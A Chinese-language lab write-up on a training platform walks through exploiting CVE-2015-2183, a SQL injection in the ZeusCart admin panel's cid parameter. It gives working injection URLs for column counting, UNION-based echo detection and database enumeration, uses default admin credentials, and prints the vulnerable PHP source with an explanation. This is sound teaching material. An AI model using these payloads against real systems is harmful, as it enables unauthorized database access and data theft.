Author:ZERO-A-ONE
Date:2020-12-16
一、实验目的
通过源代码审计发现目标主机是否存在SQL注入漏洞
二、实验原理
SQL注入是指攻击者利用Web应用程序数据与代码未严格分离、没有对用户输入进行严格的转义字符过滤和类型检查的漏洞,将一段精心构造的SQL命令注入到后台数据库引擎执行,导致数据库信息泄漏、网站挂马、数据库的系统管理员帐户被纂改、服务器被黑客安装后门远程控制等
三、实验环境
-
打开【SimpleSPC信息安全云实验系统】中的【CVE漏洞实例讲解】课程,选择【CVE-2015-2183 zeu】实验项目
-
攻击机win7(IP地址:192.168.1.2),目标主机win 2008(IP地址:192.168.1.3)
四、实验步骤
1、访问http://192.168.1.3/admin/,使用账号admin和密码admin888进行登录,登录页面如下:
2、访问http://192.168.1.3/admin/?Do=editcurrency&cid=1,结果如下所示:
3、访问http://192.168.1.3/admin/?Do=editcurrency&cid=1‘,(’是左单引号),发现页面和第3步页面不一样,截图如下所示,判断目标网站存在SQL注入漏洞
4、访问http://192.168.1.3/admin/?Do=editcurrency&cid=1+order+by+5++,发现页面正常,截图如下所示:
5、访问http://192.168.1.3/admin/?Do=editcurrency&cid=1+order+by+6++,发现页面和第4步不一样,说明当前查询了5个字段,截图如下所示:
6、访问http://192.168.1.3/admin/?Do=editcurrency&cid=1+union+select+1,2,3,4,5++,发现2和4回显了,截图如下所示:
7、访问http://192.168.1.3/admin/?Do=editcurrency&cid=1+union+select+1,user(),5++,查询当前的用户和版本,截图如下所示
8、访问http://192.168.1.3/admin/?Do=editcurrency&cid=1+union+select+1group_concat(schema_name),3,4,5+from+information_schema.schemata++,查询当前的所有数据库,截图如下所示:
对c:\phpStudy\WWW\admin\classes\Core\Settings\的CCurrencySettings.php和c:\phpStudy\WWW\Bin\的Query.php进行代码审计
五、实验思考
1、请根据第9步中你对CCurrencySettings.php和Query.php源码阅读的理解,分别写出3~8步中showEditCurrency函数生成的select语句
分析源码:
function showEditCurrency($Err)
{
$sqlCat="SELECT * FROM country_table ORDER BY cou_name";
$queryCat = new Bin_Query();
$queryCat->executeQuery($sqlCat);
$sqlCat1="SELECT * FROM currency_codes_table ORDER BY currency_name";
$queryCat1 = new Bin_Query();
$queryCat1->executeQuery($sqlCat1);
if(isset($_GET['cid']))
{
$currencyid=trim($_GET['cid']);
$sql="select id as hidecurrencyid,currency_name,currency_code,currency_tocken,status from currency_master_table where id=$currencyid";
$qry = new Bin_Query();
$qry->executeQuery($sql);
return Display_DCurrencySettings::showEditCurrency($queryCat->records,$queryCat1->records,$qry->records,$Err);
}
else
return '<div class="alert alert-error">
<button type="button" class="close" data-dismiss="alert">×</button> No more currency.</div>';
}
可以得知最后真正调用的sql语句为
select id as hidecurrencyid,currency_name,currency_code,currency_tocken,status from currency_master_table where id=$currencyid
然后阅读源码发现:
$currencyid=trim($_GET['cid']);
$sql="select id as hidecurrencyid,currency_name,currency_code,currency_tocken,status from currency_master_table where id=$currencyid";
我们输入的参数cid即成为了currencyid
第三步:
http://192.168.1.3/admin/?Do=editcurrency&cid=1‘
则执行的sql语句为:
select id as hidecurrencyid,currency_name,currency_code,currency_tocken,status from currency_master_table where id=1‘
漏洞发现:通过这里可以发现sql语句执行失败,所以执行结果会返回一个布尔值,因为我们发现页面和前面页面不一样,说明服务器执行了我们的sql查询语句,所以可以得知存在sql注入漏洞
第四步:
http://192.168.1.3/admin/?Do=editcurrency&cid=1+order+by+5+--+
则执行的sql语句为:
select id as hidecurrencyid,currency_name,currency_code,currency_tocken,status from currency_master_table where id=1+order+by+5+--+
第五步:
http://192.168.1.3/admin/?Do=editcurrency&cid=1+order+by+6+--+
则执行的sql语句为:
select id as hidecurrencyid,currency_name,currency_code,currency_tocken,status from currency_master_table where id=1+order+by+6+--+
第六步:
http://192.168.1.3/admin/?Do=editcurrency&cid=1+union+select+1,2,3,4,5++
则执行的sql语句为:
select id as hidecurrencyid,currency_name,currency_code,currency_tocken,status from currency_master_table where id=1+union+select+1,2,3,4,5++
第七步:
http://192.168.1.3/admin/?Do=editcurrency&cid=1+union+select+1,user(),5+--+
则执行的sql语句为:
select id as hidecurrencyid,currency_name,currency_code,currency_tocken,status from currency_master_table where id=1+union+select+1,user(),5+--+
第八步:
http://192.168.1.3/admin/?Do=editcurrency&cid=1+union+select+1,group_concat(schema_name),3,4,5+from+information_schema.schemata+--+
则执行的sql语句为:
select id as hidecurrencyid,currency_name,currency_code,currency_tocken,status from currency_master_table where id=1+union+select+1,group_concat(schema_name),3,4,5+from+information_schema.schemata+--+
2、第4步和第5步页面显示不同,你认为可能是什么原因?
原因:currency_master_table表的字段数为5
首先查看第四步和第五步的查询语句:
第四步:
select id as hidecurrencyid,currency_name,currency_code,currency_tocken,status from currency_master_table where id=1+order+by+5+--+
第五步:
select id as hidecurrencyid,currency_name,currency_code,currency_tocken,status from currency_master_table where id=1+order+by+6+--+
这个的原因是利用了ORDER BY判断字段数,ORDER BY n+1;
让n一直增加直到出现错误页面,我们这里这里的时候到5之前都能正确查询,到字段数增加到6的时候超过了表查询的字段数,所以前后页面不同了,也就是发生了错误,故可以得到表的字段数为5
3、第6步仅回显2和4,你认为可能是什么原因?
原因:网页的显示位为2和4,网页只开放了2和4这两个个窗口
首先查看6的sql语句:
select id as hidecurrencyid,currency_name,currency_code,currency_tocken,status from currency_master_table where id=1+union+select+1,2,3,4,5++
UNION 操作符用于合并两个或多个 SELECT 语句的结果集
即常见的有回显的SQL注入中的判断显示位的手法,这个显示位指的是网页中能够显示数据的位置
id=1+union+select+1,2,3,4,5++
只有2和4能够回显,那么说明网页只能够显示第2和第4列中信息,不能显示其他列的信息。也可以理解为网页只开放了2和4这两个个窗口,你想要查询数据库信息就必须要通过这个窗口。所以如果我们想要知道某个属性的值,比如admin,就要把admin属性放到2或者4的位置上,这样就能通过第2或者4列爆出admin的信息
4、(选做,可以不做)为什么目标网站会存在SQL注入漏洞?请根据你对Query.php代码的审计结果来回答
function executeQuery($sql, $fields = array())
{
//if(substr_count($sql,'#')!=count($fields))
//return false;
if(count($fields)>0)
$sql = $this->makeQuery($sql,$fields); // Security::makeQuery();
$i=0;
$this->rs = mysql_query($sql);
$this->sql = $sql;
$this->insertid = mysql_insert_id();
if(is_resource($this->rs))
$this->totrows = mysql_num_rows($this->rs);
if(!mysql_affected_rows() || $this->totrows < 1)
return false;
else
{
while($fetch = mysql_fetch_array($this->rs))
$this->records[$i++] = $fetch;
for($i=0;$i<count($this->records);$i++)
{
foreach ($this->records[$i] as $key=>$item)
{
if(is_numeric($key))
unset($this->records[$i][$key]);
}
}
return true;
}
}
原因:可以发现executeQuery没有对cid参数做任何的检查,完全信任用户的cid输入,导致了sql注入漏洞的产生
总结:
ZeusCart是一套基于PHP和MySQL的为中小型网店设计的开源购物系统。ZeusCart4版本的管理后台中存在SQL注入漏洞,该漏洞源于admin/URI没有充分过滤dispordersdetail和subadminmgtedit操作中的‘id’参数;admin/URI没有充分过滤editcurrency操作中的‘cid’参数。远程攻击者可利用该漏洞执行任意SQL命令。